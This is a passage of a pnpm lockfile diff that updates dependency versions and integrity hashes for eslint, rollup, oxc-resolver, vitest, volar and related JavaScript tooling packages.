|| ^22.13.0 || >=24} + '@eslint/js@9.29.0': + resolution: {integrity: sha512-3PIF4cBw/y+1u2EazflInpV+lYsSG0aByVIQzAgb1m1MhHFSbqTyNqtBKHgWf/9Ykud+DhILS9EGkmekVhbKoQ==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + + '@eslint/object-schema@2.1.7': + resolution: {integrity: sha512-VtAOaymWVfZcmZbp6E2mympDIHvyjXs/12LqWYjVw6qjrfF+VK+fyG33kChz3nnK+SU5/NeHOqrTEHS8sXO3OA==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} - '@eslint/plugin-kit@0.6.0': - resolution: {integrity: sha512-bIZEUzOI1jkhviX2cp5vNyXQc6olzb2ohewQubuYlMXZ2Q/XjBO0x0XhGPvc9fjSIiUN0vw+0hq53BJ4eQSJKQ==} - engines: {node: ^20.19.0 || ^22.13.0 || >=24} + '@eslint/plugin-kit@0.3.5': + resolution: {integrity: sha512-Z5kJ+wU3oA7MMIqVR9tyZRtjYPr4OC004Q4Rw7pgOKUOKkJfZ3O24nz3WYfGRpMDNmcOi3TwQOmgm7B7Tpii0w==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} '@humanfs/core@0.19.1': resolution: {integrity: sha512-5DyQ4+1JEUzejeK1JGICcideyfUbGixgS9jNgex5nqkW+cY7WZhxBigmieN5Qnw9ZosSNVC9KQKyb+GUaGyKUA==} @@ -348,17 +381,9 @@ packages: resolution: {integrity: sha512-bV0Tgo9K4hfPCek+aMAn81RppFKv2ySDQeMoSZuvTASywNTnVJCArCZE2FWqpvIatKu7VMRLWlR1EazvVhDyhQ==} engines: {node: '>=18.18'} - '@isaacs/balanced-match@4.0.1': - resolution: {integrity: sha512-yzMTt9lEb8Gv7zRioUilSglI0c0smZ9k5D65677DLWLtWJaXIS3CqcGyUFByYKlnUj6TkjLVs54fBl6+TiGQDQ==} - engines: {node: 20 || >=22} - - '@isaacs/brace-expansion@5.0.0': - resolution: {integrity: sha512-ZT55BDLV0yv0RBm2czMiZ+SqCGO7AvmOM3G/w2xhVPH+te0aKgFjmBvGlL1dH+ql2tgGO3MVrbb3jCKyvpgnxA==} - engines: {node: 20 || >=22} - - '@isaacs/cliui@8.0.2': - resolution: {integrity: sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA==} - engines: {node: '>=12'} + '@isaacs/cliui@9.0.0': + resolution: {integrity: sha512-AokJm4tuBHillT+FpMtxQ60n8ObyXBatq7jD2/JA9dxbDDokKQm8KMht5ibGzLVU9IJDIKK4TPKgMHEYMn3lMg==} + engines: {node: '>=18'} '@jridgewell/gen-mapping@0.3.13': resolution: {integrity: sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==} @@ -379,6 +404,12 @@ packages: '@mdn/browser-compat-data@5.7.6': resolution: {integrity: sha512-7xdrMX0Wk7grrTZQwAoy1GkvPMFoizStUoL+VmtUkAxegbCCec+3FKwOM6yc/uGU5+BEczQHXAlWiqvM8JeENg==} + '@napi-rs/wasm-runtime@1.1.3': + resolution: {integrity: sha512-xK9sGVbJWYb08+mTJt3/YV24WxvxpXcXtP6B172paPZ+Ts69Re9dAr7lKwJoeIx8OoeuimEiRZ7umkiUVClmmQ==} + peerDependencies: + '@emnapi/core': ^1.7.1 + '@emnapi/runtime': ^1.7.1 + '@nodelib/fs.scandir@2.1.5': resolution: {integrity: sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==} engines: {node: '>= 8'} @@ -391,6 +422,114 @@ packages: resolution: {integrity: sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==} engines: {node: '>= 8'} + '@oxc-resolver/binding-android-arm-eabi@11.19.1': + resolution: {integrity: sha512-aUs47y+xyXHUKlbhqHUjBABjvycq6YSD7bpxSW7vplUmdzAlJ93yXY6ZR0c1o1x5A/QKbENCvs3+NlY8IpIVzg==} + cpu: [arm] + os: [android] + + '@oxc-resolver/binding-android-arm64@11.19.1': + resolution: {integrity: sha512-oolbkRX+m7Pq2LNjr/kKgYeC7bRDMVTWPgxBGMjSpZi/+UskVo4jsMU3MLheZV55jL6c3rNelPl4oD60ggYmqA==} + cpu: [arm64] + os: [android] + + '@oxc-resolver/binding-darwin-arm64@11.19.1': + resolution: {integrity: sha512-nUC6d2i3R5B12sUW4O646qD5cnMXf2oBGPLIIeaRfU9doJRORAbE2SGv4eW6rMqhD+G7nf2Y8TTJTLiiO3Q/dQ==} + cpu: [arm64] + os: [darwin] + + '@oxc-resolver/binding-darwin-x64@11.19.1': + resolution: {integrity: sha512-cV50vE5+uAgNcFa3QY1JOeKDSkM/9ReIcc/9wn4TavhW/itkDGrXhw9jaKnkQnGbjJ198Yh5nbX/Gr2mr4Z5jQ==} + cpu: [x64] + os: [darwin] + + '@oxc-resolver/binding-freebsd-x64@11.19.1': + resolution: {integrity: sha512-xZOQiYGFxtk48PBKff+Zwoym7ScPAIVp4c14lfLxizO2LTTTJe5sx9vQNGrBymrf/vatSPNMD4FgsaaRigPkqw==} + cpu: [x64] + os: [freebsd] + + '@oxc-resolver/binding-linux-arm-gnueabihf@11.19.1': + resolution: {integrity: sha512-lXZYWAC6kaGe/ky2su94e9jN9t6M0/6c+GrSlCqL//XO1cxi5lpAhnJYdyrKfm0ZEr/c7RNyAx3P7FSBcBd5+A==} + cpu: [arm] + os: [linux] + + '@oxc-resolver/binding-linux-arm-musleabihf@11.19.1': + resolution: {integrity: sha512-veG1kKsuK5+t2IsO9q0DErYVSw2azvCVvWHnfTOS73WE0STdLLB7Q1bB9WR+yHPQM76ASkFyRbogWo1GR1+WbQ==} + cpu: [arm] + os: [linux] + + '@oxc-resolver/binding-linux-arm64-gnu@11.19.1': + resolution: {integrity: sha512-heV2+jmXyYnUrpUXSPugqWDRpnsQcDm2AX4wzTuvgdlZfoNYO0O3W2AVpJYaDn9AG4JdM6Kxom8+foE7/BcSig==} + cpu: [arm64] + os: [linux] + libc: [glibc] + + '@oxc-resolver/binding-linux-arm64-musl@11.19.1': + resolution: {integrity: sha512-jvo2Pjs1c9KPxMuMPIeQsgu0mOJF9rEb3y3TdpsrqwxRM+AN6/nDDwv45n5ZrUnQMsdBy5gIabioMKnQfWo9ew==} + cpu: [arm64] + os: [linux] + libc: [musl] + + '@oxc-resolver/binding-linux-ppc64-gnu@11.19.1': + resolution: {integrity: sha512-vLmdNxWCdN7Uo5suays6A/+ywBby2PWBBPXctWPg5V0+eVuzsJxgAn6MMB4mPlshskYbppjpN2Zg83ArHze9gQ==} + cpu: [ppc64] + os: [linux] + libc: [glibc] + + '@oxc-resolver/binding-linux-riscv64-gnu@11.19.1': + resolution: {integrity: sha512-/b+WgR+VTSBxzgOhDO7TlMXC1ufPIMR6Vj1zN+/x+MnyXGW7prTLzU9eW85Aj7Th7CCEG9ArCbTeqxCzFWdg2w==} + cpu: [riscv64] + os: [linux] + libc: [glibc] + + '@oxc-resolver/binding-linux-riscv64-musl@11.19.1': + resolution: {integrity: sha512-YlRdeWb9j42p29ROh+h4eg/OQ3dTJlpHSa+84pUM9+p6i3djtPz1q55yLJhgW9XfDch7FN1pQ/Vd6YP+xfRIuw==} + cpu: [riscv64] + os: [linux] + libc: [musl] + + '@oxc-resolver/binding-linux-s390x-gnu@11.19.1': + resolution: {integrity: sha512-EDpafVOQWF8/MJynsjOGFThcqhRHy417sRyLfQmeiamJ8qVhSKAn2Dn2VVKUGCjVB9C46VGjhNo7nOPUi1x6uA==} + cpu: [s390x] + os: [linux] + libc: [glibc] + + '@oxc-resolver/binding-linux-x64-gnu@11.19.1': + resolution: {integrity: sha512-NxjZe+rqWhr+RT8/Ik+5ptA3oz7tUw361Wa5RWQXKnfqwSSHdHyrw6IdcTfYuml9dM856AlKWZIUXDmA9kkiBQ==} + cpu: [x64] + os: [linux] + libc: [glibc] + + '@oxc-resolver/binding-linux-x64-musl@11.19.1': + resolution: {integrity: sha512-cM/hQwsO3ReJg5kR+SpI69DMfvNCp+A/eVR4b4YClE5bVZwz8rh2Nh05InhwI5HR/9cArbEkzMjcKgTHS6UaNw==} + cpu: [x64] + os: [linux] + libc: [musl] + + '@oxc-resolver/binding-openharmony-arm64@11.19.1': + resolution: {integrity: sha512-QF080IowFB0+9Rh6RcD19bdgh49BpQHUW5TajG1qvWHvmrQznTZZjYlgE2ltLXyKY+qs4F/v5xuX1XS7Is+3qA==} + cpu: [arm64] + os: [openharmony] + + '@oxc-resolver/binding-wasm32-wasi@11.19.1': + resolution: {integrity: sha512-w8UCKhX826cP/ZLokXDS6+milN8y4X7zidsAttEdWlVoamTNf6lhBJldaWr3ukTDiye7s4HRcuPEPOXNC432Vg==} + engines: {node: '>=14.0.0'} + cpu: [wasm32] + + '@oxc-resolver/binding-win32-arm64-msvc@11.19.1': + resolution: {integrity: sha512-nJ4AsUVZrVKwnU/QRdzPCCrO0TrabBqgJ8pJhXITdZGYOV28TIYystV1VFLbQ7DtAcaBHpocT5/ZJnF78YJPtQ==} + cpu: [arm64] + os: [win32] + + '@oxc-resolver/binding-win32-ia32-msvc@11.19.1': + resolution: {integrity: sha512-EW+ND5q2Tl+a3pH81l1QbfgbF3HmqgwLfDfVithRFheac8OTcnbXt/JxqD2GbDkb7xYEqy1zNaVFRr3oeG8npA==} + cpu: [ia32] + os: [win32] + + '@oxc-resolver/binding-win32-x64-msvc@11.19.1': + resolution: {integrity: sha512-6hIU3RQu45B+VNTY4Ru8ppFwjVS/S5qwYyGhBotmjxfEKk41I2DlGtRfGJndZ5+6lneE2pwloqunlOyZuX/XAw==} + cpu: [x64] + os: [win32] + '@pkgr/core@0.1.2': resolution: {integrity: sha512-fdDH1LSGfZdTH2sxdpVMw31BanV28K/Gry0cVFxaNP77neJSkd82mM8ErPNYs9e+0O7SdHBLTDzDgwUuy18RnQ==} engines: {node: ^12.20.0 || ^14.18.0 || >=16.0.0} @@ -413,132 +552,158 @@ packages: resolution: {integrity: sha512-npY8Jy3HX1+Qbv1jCRdAevOcOj355b0x1Wmepa7omhgQFIUVs2o18HGohYml4HJpmEAu6aKnUIhhodFMuglMeQ==} engines: {node: '>=12.11.0'} - '@rollup/rollup-android-arm-eabi@4.53.3': - resolution: {integrity: sha512-mRSi+4cBjrRLoaal2PnqH82Wqyb+d3HsPUN/W+WslCXsZsyHa9ZeQQX/pQsZaVIWDkPcpV6jJ+3KLbTbgnwv8w==} + '@rollup/rollup-android-arm-eabi@4.60.1': + resolution: {integrity: sha512-d6FinEBLdIiK+1uACUttJKfgZREXrF0Qc2SmLII7W2AD8FfiZ9Wjd+rD/iRuf5s5dWrr1GgwXCvPqOuDquOowA==} cpu: [arm] os: [android] - '@rollup/rollup-android-arm64@4.53.3': - resolution: {integrity: sha512-CbDGaMpdE9sh7sCmTrTUyllhrg65t6SwhjlMJsLr+J8YjFuPmCEjbBSx4Z/e4SmDyH3aB5hGaJUP2ltV/vcs4w==} + '@rollup/rollup-android-arm64@4.60.1': + resolution: {integrity: sha512-YjG/EwIDvvYI1YvYbHvDz/BYHtkY4ygUIXHnTdLhG+hKIQFBiosfWiACWortsKPKU/+dUwQQCKQM3qrDe8c9BA==} cpu: [arm64] os: [android] - '@rollup/rollup-darwin-arm64@4.53.3': - resolution: {integrity: sha512-Nr7SlQeqIBpOV6BHHGZgYBuSdanCXuw09hon14MGOLGmXAFYjx1wNvquVPmpZnl0tLjg25dEdr4IQ6GgyToCUA==} + '@rollup/rollup-darwin-arm64@4.60.1': + resolution: {integrity: sha512-mjCpF7GmkRtSJwon+Rq1N8+pI+8l7w5g9Z3vWj4T7abguC4Czwi3Yu/pFaLvA3TTeMVjnu3ctigusqWUfjZzvw==} cpu: [arm64] os: [darwin] - '@rollup/rollup-darwin-x64@4.53.3': - resolution: {integrity: sha512-DZ8N4CSNfl965CmPktJ8oBnfYr3F8dTTNBQkRlffnUarJ2ohudQD17sZBa097J8xhQ26AwhHJ5mvUyQW8ddTsQ==} + '@rollup/rollup-darwin-x64@4.60.1': + resolution: {integrity: sha512-haZ7hJ1JT4e9hqkoT9R/19XW2QKqjfJVv+i5AGg57S+nLk9lQnJ1F/eZloRO3o9Scy9CM3wQ9l+dkXtcBgN5Ew==} cpu: [x64] os: [darwin] - '@rollup/rollup-freebsd-arm64@4.53.3': - resolution: {integrity: sha512-yMTrCrK92aGyi7GuDNtGn2sNW+Gdb4vErx4t3Gv/Tr+1zRb8ax4z8GWVRfr3Jw8zJWvpGHNpss3vVlbF58DZ4w==} + '@rollup/rollup-freebsd-arm64@4.60.1': + resolution: {integrity: sha512-czw90wpQq3ZsAVBlinZjAYTKduOjTywlG7fEeWKUA7oCmpA8xdTkxZZlwNJKWqILlq0wehoZcJYfBvOyhPTQ6w==} cpu: [arm64] os: [freebsd] - '@rollup/rollup-freebsd-x64@4.53.3': - resolution: {integrity: sha512-lMfF8X7QhdQzseM6XaX0vbno2m3hlyZFhwcndRMw8fbAGUGL3WFMBdK0hbUBIUYcEcMhVLr1SIamDeuLBnXS+Q==} + '@rollup/rollup-freebsd-x64@4.60.1': + resolution: {integrity: sha512-KVB2rqsxTHuBtfOeySEyzEOB7ltlB/ux38iu2rBQzkjbwRVlkhAGIEDiiYnO2kFOkJp+Z7pUXKyrRRFuFUKt+g==} cpu: [x64] os: [freebsd] - '@rollup/rollup-linux-arm-gnueabihf@4.53.3': - resolution: {integrity: sha512-k9oD15soC/Ln6d2Wv/JOFPzZXIAIFLp6B+i14KhxAfnq76ajt0EhYc5YPeX6W1xJkAdItcVT+JhKl1QZh44/qw==} + '@rollup/rollup-linux-arm-gnueabihf@4.60.1': + resolution: {integrity: sha512-L+34Qqil+v5uC0zEubW7uByo78WOCIrBvci69E7sFASRl0X7b/MB6Cqd1lky/CtcSVTydWa2WZwFuWexjS5o6g==} cpu: [arm] os: [linux] libc: [glibc] - '@rollup/rollup-linux-arm-musleabihf@4.53.3': - resolution: {integrity: sha512-vTNlKq+N6CK/8UktsrFuc+/7NlEYVxgaEgRXVUVK258Z5ymho29skzW1sutgYjqNnquGwVUObAaxae8rZ6YMhg==} + '@rollup/rollup-linux-arm-musleabihf@4.60.1': + resolution: {integrity: sha512-n83O8rt4v34hgFzlkb1ycniJh7IR5RCIqt6mz1VRJD6pmhRi0CXdmfnLu9dIUS6buzh60IvACM842Ffb3xd6Gg==} cpu: [arm] os: [linux] libc: [musl] - '@rollup/rollup-linux-arm64-gnu@4.53.3': - resolution: {integrity: sha512-RGrFLWgMhSxRs/EWJMIFM1O5Mzuz3Xy3/mnxJp/5cVhZ2XoCAxJnmNsEyeMJtpK+wu0FJFWz+QF4mjCA7AUQ3w==} + '@rollup/rollup-linux-arm64-gnu@4.60.1': + resolution: {integrity: sha512-Nql7sTeAzhTAja3QXeAI48+/+GjBJ+QmAH13snn0AJSNL50JsDqotyudHyMbO2RbJkskbMbFJfIJKWA6R1LCJQ==} cpu: [arm64] os: [linux] libc: [glibc] - '@rollup/rollup-linux-arm64-musl@4.53.3': - resolution: {integrity: sha512-kASyvfBEWYPEwe0Qv4nfu6pNkITLTb32p4yTgzFCocHnJLAHs+9LjUu9ONIhvfT/5lv4YS5muBHyuV84epBo/A==} + '@rollup/rollup-linux-arm64-musl@4.60.1': + resolution: {integrity: sha512-+pUymDhd0ys9GcKZPPWlFiZ67sTWV5UU6zOJat02M1+PiuSGDziyRuI/pPue3hoUwm2uGfxdL+trT6Z9rxnlMA==} cpu: [arm64] os: [linux] libc: [musl] - '@rollup/rollup-linux-loong64-gnu@4.53.3': - resolution: {integrity: sha512-JiuKcp2teLJwQ7vkJ95EwESWkNRFJD7TQgYmCnrPtlu50b4XvT5MOmurWNrCj3IFdyjBQ5p9vnrX4JM6I8OE7g==} + '@rollup/rollup-linux-loong64-gnu@4.60.1': + resolution: {integrity: sha512-VSvgvQeIcsEvY4bKDHEDWcpW4Yw7BtlKG1GUT4FzBUlEKQK0rWHYBqQt6Fm2taXS+1bXvJT6kICu5ZwqKCnvlQ==} cpu: [loong64] os: [linux] libc: [glibc] - '@rollup/rollup-linux-ppc64-gnu@4.53.3': - resolution: {integrity: sha512-EoGSa8nd6d3T7zLuqdojxC20oBfNT8nexBbB/rkxgKj5T5vhpAQKKnD+h3UkoMuTyXkP5jTjK/ccNRmQrPNDuw==} + '@rollup/rollup-linux-loong64-musl@4.60.1': + resolution: {integrity: sha512-4LqhUomJqwe641gsPp6xLfhqWMbQV04KtPp7/dIp0nzPxAkNY1AbwL5W0MQpcalLYk07vaW9Kp1PBhdpZYYcEw==} + cpu: [loong64] + os: [linux] + libc: [musl] + + '@rollup/rollup-linux-ppc64-gnu@4.60.1': + resolution: {integrity: sha512-tLQQ9aPvkBxOc/EUT6j3pyeMD6Hb8QF2BTBnCQWP/uu1lhc9AIrIjKnLYMEroIz/JvtGYgI9dF3AxHZNaEH0rw==} cpu: [ppc64] os: [linux] libc: [glibc] - '@rollup/rollup-linux-riscv64-gnu@4.53.3': - resolution: {integrity: sha512-4s+Wped2IHXHPnAEbIB0YWBv7SDohqxobiiPA1FIWZpX+w9o2i4LezzH/NkFUl8LRci/8udci6cLq+jJQlh+0g==} + '@rollup/rollup-linux-ppc64-musl@4.60.1': + resolution: {integrity: sha512-RMxFhJwc9fSXP6PqmAz4cbv3kAyvD1etJFjTx4ONqFP9DkTkXsAMU4v3Vyc5BgzC+anz7nS/9tp4obsKfqkDHg==} + cpu: [ppc64] + os: [linux] + libc: [musl] + + '@rollup/rollup-linux-riscv64-gnu@4.60.1': + resolution: {integrity: sha512-QKgFl+Yc1eEk6MmOBfRHYF6lTxiiiV3/z/BRrbSiW2I7AFTXoBFvdMEyglohPj//2mZS4hDOqeB0H1ACh3sBbg==} cpu: [riscv64] os: [linux] libc: [glibc] - '@rollup/rollup-linux-riscv64-musl@4.53.3': - resolution: {integrity: sha512-68k2g7+0vs2u9CxDt5ktXTngsxOQkSEV/xBbwlqYcUrAVh6P9EgMZvFsnHy4SEiUl46Xf0IObWVbMvPrr2gw8A==} + '@rollup/rollup-linux-riscv64-musl@4.60.1': + resolution: {integrity: sha512-RAjXjP/8c6ZtzatZcA1RaQr6O1TRhzC+adn8YZDnChliZHviqIjmvFwHcxi4JKPSDAt6Uhf/7vqcBzQJy0PDJg==} cpu: [riscv64] os: [linux] libc: [musl] - '@rollup/rollup-linux-s390x-gnu@4.53.3': - resolution: {integrity: sha512-VYsFMpULAz87ZW6BVYw3I6sWesGpsP9OPcyKe8ofdg9LHxSbRMd7zrVrr5xi/3kMZtpWL/wC+UIJWJYVX5uTKg==} + '@rollup/rollup-linux-s390x-gnu@4.60.1': + resolution: {integrity: sha512-wcuocpaOlaL1COBYiA89O6yfjlp3RwKDeTIA0hM7OpmhR1Bjo9j31G1uQVpDlTvwxGn2nQs65fBFL5UFd76FcQ==} cpu: [s390x] os: [linux] libc: [glibc] - '@rollup/rollup-linux-x64-gnu@4.53.3': - resolution: {integrity: sha512-3EhFi1FU6YL8HTUJZ51imGJWEX//ajQPfqWLI3BQq4TlvHy4X0MOr5q3D2Zof/ka0d5FNdPwZXm3Yyib/UEd+w==} + '@rollup/rollup-linux-x64-gnu@4.60.1': + resolution: {integrity: sha512-77PpsFQUCOiZR9+LQEFg9GClyfkNXj1MP6wRnzYs0EeWbPcHs02AXu4xuUbM1zhwn3wqaizle3AEYg5aeoohhg==} cpu: [x64] os: [linux] libc: [glibc] - '@rollup/rollup-linux-x64-musl@4.53.3': - resolution: {integrity: sha512-eoROhjcc6HbZCJr+tvVT8X4fW3/5g/WkGvvmwz/88sDtSJzO7r/blvoBDgISDiCjDRZmHpwud7h+6Q9JxFwq1Q==} + '@rollup/rollup-linux-x64-musl@4.60.1': + resolution: {integrity: sha512-5cIATbk5vynAjqqmyBjlciMJl1+R/CwX9oLk/EyiFXDWd95KpHdrOJT//rnUl4cUcskrd0jCCw3wpZnhIHdD9w==} cpu: [x64] os: [linux] libc: [musl] - '@rollup/rollup-openharmony-arm64@4.53.3': - resolution: {integrity: sha512-OueLAWgrNSPGAdUdIjSWXw+u/02BRTcnfw9PN41D2vq/JSEPnJnVuBgw18VkN8wcd4fjUs+jFHVM4t9+kBSNLw==} + '@rollup/rollup-openbsd-x64@4.60.1': + resolution: {integrity: sha512-cl0w09WsCi17mcmWqqglez9Gk8isgeWvoUZ3WiJFYSR3zjBQc2J5/ihSjpl+VLjPqjQ/1hJRcqBfLjssREQILw==} + cpu: [x64] + os: [openbsd] + + '@rollup/rollup-openharmony-arm64@4.60.1': + resolution: {integrity: sha512-4Cv23ZrONRbNtbZa37mLSueXUCtN7MXccChtKpUnQNgF010rjrjfHx3QxkS2PI7LqGT5xXyYs1a7LbzAwT0iCA==} cpu: [arm64] os: [openharmony] - '@rollup/rollup-win32-arm64-msvc@4.53.3': - resolution: {integrity: sha512-GOFuKpsxR/whszbF/bzydebLiXIHSgsEUp6M0JI8dWvi+fFa1TD6YQa4aSZHtpmh2/uAlj/Dy+nmby3TJ3pkTw==} + '@rollup/rollup-win32-arm64-msvc@4.60.1': + resolution: {integrity: sha512-i1okWYkA4FJICtr7KpYzFpRTHgy5jdDbZiWfvny21iIKky5YExiDXP+zbXzm3dUcFpkEeYNHgQ5fuG236JPq0g==} cpu: [arm64] os: [win32] - '@rollup/rollup-win32-ia32-msvc@4.53.3': - resolution: {integrity: sha512-iah+THLcBJdpfZ1TstDFbKNznlzoxa8fmnFYK4V67HvmuNYkVdAywJSoteUszvBQ9/HqN2+9AZghbajMsFT+oA==} + '@rollup/rollup-win32-ia32-msvc@4.60.1': + resolution: {integrity: sha512-u09m3CuwLzShA0EYKMNiFgcjjzwqtUMLmuCJLeZWjjOYA3IT2Di09KaxGBTP9xVztWyIWjVdsB2E9goMjZvTQg==} cpu: [ia32] os: [win32] - '@rollup/rollup-win32-x64-gnu@4.53.3': - resolution: {integrity: sha512-J9QDiOIZlZLdcot5NXEepDkstocktoVjkaKUtqzgzpt2yWjGlbYiKyp05rWwk4nypbYUNoFAztEgixoLaSETkg==} + '@rollup/rollup-win32-x64-gnu@4.60.1': + resolution: {integrity: sha512-k+600V9Zl1CM7eZxJgMyTUzmrmhB/0XZnF4pRypKAlAgxmedUA+1v9R+XOFv56W4SlHEzfeMtzujLJD22Uz5zg==} cpu: [x64] os: [win32] - '@rollup/rollup-win32-x64-msvc@4.53.3': - resolution: {integrity: sha512-UhTd8u31dXadv0MopwGgNOBpUVROFKWVQgAg5N1ESyCz8AuBcMqm4AuTjrwgQKGDfoFuz02EuMRHQIw/frmYKQ==} + '@rollup/rollup-win32-x64-msvc@4.60.1': + resolution: {integrity: sha512-lWMnixq/QzxyhTV6NjQJ4SFo1J6PvOX8vUx5Wb4bBPsEb+8xZ89Bz6kOXpfXj9ak9AHTQVQzlgzBEc1SyM27xQ==} cpu: [x64] os: [win32] '@rtsao/scc@1.1.0': resolution: {integrity: sha512-zt6OdqaDoOnJ1ZYsCYGt9YmWzDXl4vQdKTyJev62gFhRGKdx7mcT54V9KIjg+d2wi9EXsPvAPKe7i7WjfVWB8g==} - '@types/esrecurse@4.3.1': - resolution: {integrity: sha512-xJBAbDifo5hpffDBuHl0Y8ywswbiAp/Wi7Y/GtAgSlZyIABppyurxVueOPE8LUQOxdlgi6Zqce7uoEpqNTeiUw==} + '@standard-schema/spec@1.1.0': + resolution: {integrity: sha512-l2aFy5jALhniG5HgqrD6jXLi/rUWrKvqN/qJx6yoJsgKhblVd+iqqU4RCXavm/jPityDo5TCvKMnpjKnOriy0w==} + + '@tybys/wasm-util@0.10.1': + resolution: {integrity: sha512-9tTaPJLSiejZKx+Bmog4uSubteqTvFrVrURwkmHixBo0G4seD0zUxp98E1DzUBJxLQ3NPwXrGKDiVjwx/DpPsg==} + + '@types/chai@5.2.3': + resolution: {integrity: sha512-Mw558oeA9fFbv65/y4mHtXDs9bPnFMZAL/jxdPFUpOHHIXX91mcgEHbS5Lahr+pwZFR8A7GQleRWeI6cGFC2UA==} + + '@types/deep-eql@4.0.2': + resolution: {integrity: sha512-c9h9dVVMigMPc4bwTvC5dxqtqJZwQPePsWjPlpSOnojbor6pGqdk541lfA7AqFQr5pB1BRdq0juY9db81BwyFw==} '@types/estree@1.0.8': resolution: {integrity: sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==} @@ -549,8 +714,8 @@ packages: '@types/json5@0.0.29': resolution: {integrity: sha512-dRLjCWHYg4oaA77cxO64oO+7JwCwnIzkZPdrrC71jQmQtlhM556pwKo5bUzqvZndkVbeFLIIi+9TC40JNF5hNQ==} - '@types/node@24.10.11': - resolution: {integrity: sha512-/Af7O8r1frCVgOz0I62jWUtMohJ0/ZQU/ZoketltOJPZpnb17yoNc9BSoVuV9qlaIXJiPNOpsfq4ByFajSArNQ==} + '@types/node@25.5.2': + resolution: {integrity: sha512-tO4ZIRKNC+MDWV4qKVZe3Ql/woTnmHDr5JD8UI5hn2pwBrHEwOEMZK7WlNb5RKB6EoJ02gwmQS9OrjuFnZYdpg==} '@typescript-eslint/eslint-plugin@8.26.1': resolution: {integrity: sha512-2X3mwqsj9Bd3Ciz508ZUtoQQYpOhU/kWoUqIf49H8Z0+Vbh6UF/y0OEYp0Q0axOGzaBGs7QxRwq0knSQ8khQNA==} @@ -599,70 +764,105 @@ packages: resolution: {integrity: sha512-AjOC3zfnxd6S4Eiy3jwktJPclqhFHNyd8L6Gycf9WUPoKZpgM5PjkxY1X7uSy61xVpiJDhhk7XT2NVsN3ALTWg==} engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} - '@vitejs/plugin-vue@5.2.4': - resolution: {integrity: sha512-7Yx/SXSOcQq5HiiV3orevHUFn+pmMB4cgbEkDYgnkUWb0WfeQ/wa2yFv6D5ICiCQOVpjA7vYDXrC7AGO8yjDHA==} + '@vitejs/plugin-vue@5.2.1': + resolution: {integrity: sha512-cxh314tzaWwOLqVes2gnnCtvBDcM1UMdn+iFR+UjAn411dPT3tOmqrJjbMd7koZpMAmBM/GqeV4n9ge7JSiJJQ==} engines: {node: ^18.0.0 || >=20.0.0} peerDependencies: vite: ^5.0.0 || ^6.0.0 vue: ^3.2.25 - '@volar/language-core@2.4.15': - resolution: {integrity: sha512-3VHw+QZU0ZG9IuQmzT68IyN4hZNd9GchGPhbD9+pa8CVv7rnoOZwo7T8weIbrRmihqy3ATpdfXFnqRrfPVK6CA==} + '@vitest/expect@4.1.2': + resolution: {integrity: sha512-gbu+7B0YgUJ2nkdsRJrFFW6X7NTP44WlhiclHniUhxADQJH5Szt9mZ9hWnJPJ8YwOK5zUOSSlSvyzRf0u1DSBQ==} + + '@vitest/mocker@4.1.2': + resolution: {integrity: sha512-Ize4iQtEALHDttPRCmN+FKqOl2vxTiNUhzobQFFt/BM1lRUTG7zRCLOykG/6Vo4E4hnUdfVLo5/eqKPukcWW7Q==} + peerDependencies: + msw: ^2.4.9 + vite: ^6.0.0 || ^7.0.0 || ^8.0.0 + peerDependenciesMeta: + msw: + optional: true + vite: + optional: true + + '@vitest/pretty-format@4.1.2': + resolution: {integrity: sha512-dwQga8aejqeuB+TvXCMzSQemvV9hNEtDDpgUKDzOmNQayl2OG241PSWeJwKRH3CiC+sESrmoFd49rfnq7T4RnA==} + + '@vitest/runner@4.1.2': + resolution: {integrity: sha512-Gr+FQan34CdiYAwpGJmQG8PgkyFVmARK8/xSijia3eTFgVfpcpztWLuP6FttGNfPLJhaZVP/euvujeNYar36OQ==} + + '@vitest/snapshot@4.1.2': + resolution: {integrity: sha512-g7yfUmxYS4mNxk31qbOYsSt2F4m1E02LFqO53Xpzg3zKMhLAPZAjjfyl9e6z7HrW6LvUdTwAQR3HHfLjpko16A==} + + '@vitest/spy@4.1.2': + resolution: {integrity: sha512-DU4fBnbVCJGNBwVA6xSToNXrkZNSiw59H8tcuUspVMsBDBST4nfvsPsEHDHGtWRRnqBERBQu7TrTKskmjqTXKA==} + + '@vitest/utils@4.1.2': + resolution: {integrity: sha512-xw2/TiX82lQHA06cgbqRKFb5lCAy3axQ4H4SoUFhUsg+wztiet+co86IAMDtF6Vm1hc7J6j09oh/rgDn+JdKIQ==} + + '@volar/language-core@2.4.23': + resolution: {integrity: sha512-hEEd5ET/oSmBC6pi1j6NaNYRWoAiDhINbT8rmwtINugR39loROSlufGdYMF9TaKGfz+ViGs1Idi3mAhnuPcoGQ==} + + '@volar/source-map@2.4.23': + resolution: {integrity: sha512-Z1Uc8IB57Lm6k7q6KIDu/p+JWtf3xsXJqAX/5r18hYOTpJyBn0KXUR8oTJ4WFYOcDzWC9n3IflGgHowx6U6z9Q==} - '@volar/source-map@2.4.15': - resolution: {integrity: sha512-CPbMWlUN6hVZJYGcU/GSoHu4EnCHiLaXI9n8c9la6RaI9W5JHX+NqG+GSQcB0JdC2FIBLdZJwGsfKyBB71VlTg==} + '@volar/typescript@2.4.23': + resolution: {integrity: sha512-lAB5zJghWxVPqfcStmAP1ZqQacMpe90UrP5RJ3arDyrhy4aCUQqmxPPLB2PWDKugvylmO41ljK7vZ+t6INMTag==} - '@volar/typescript@2.4.15': - resolution: {integrity: 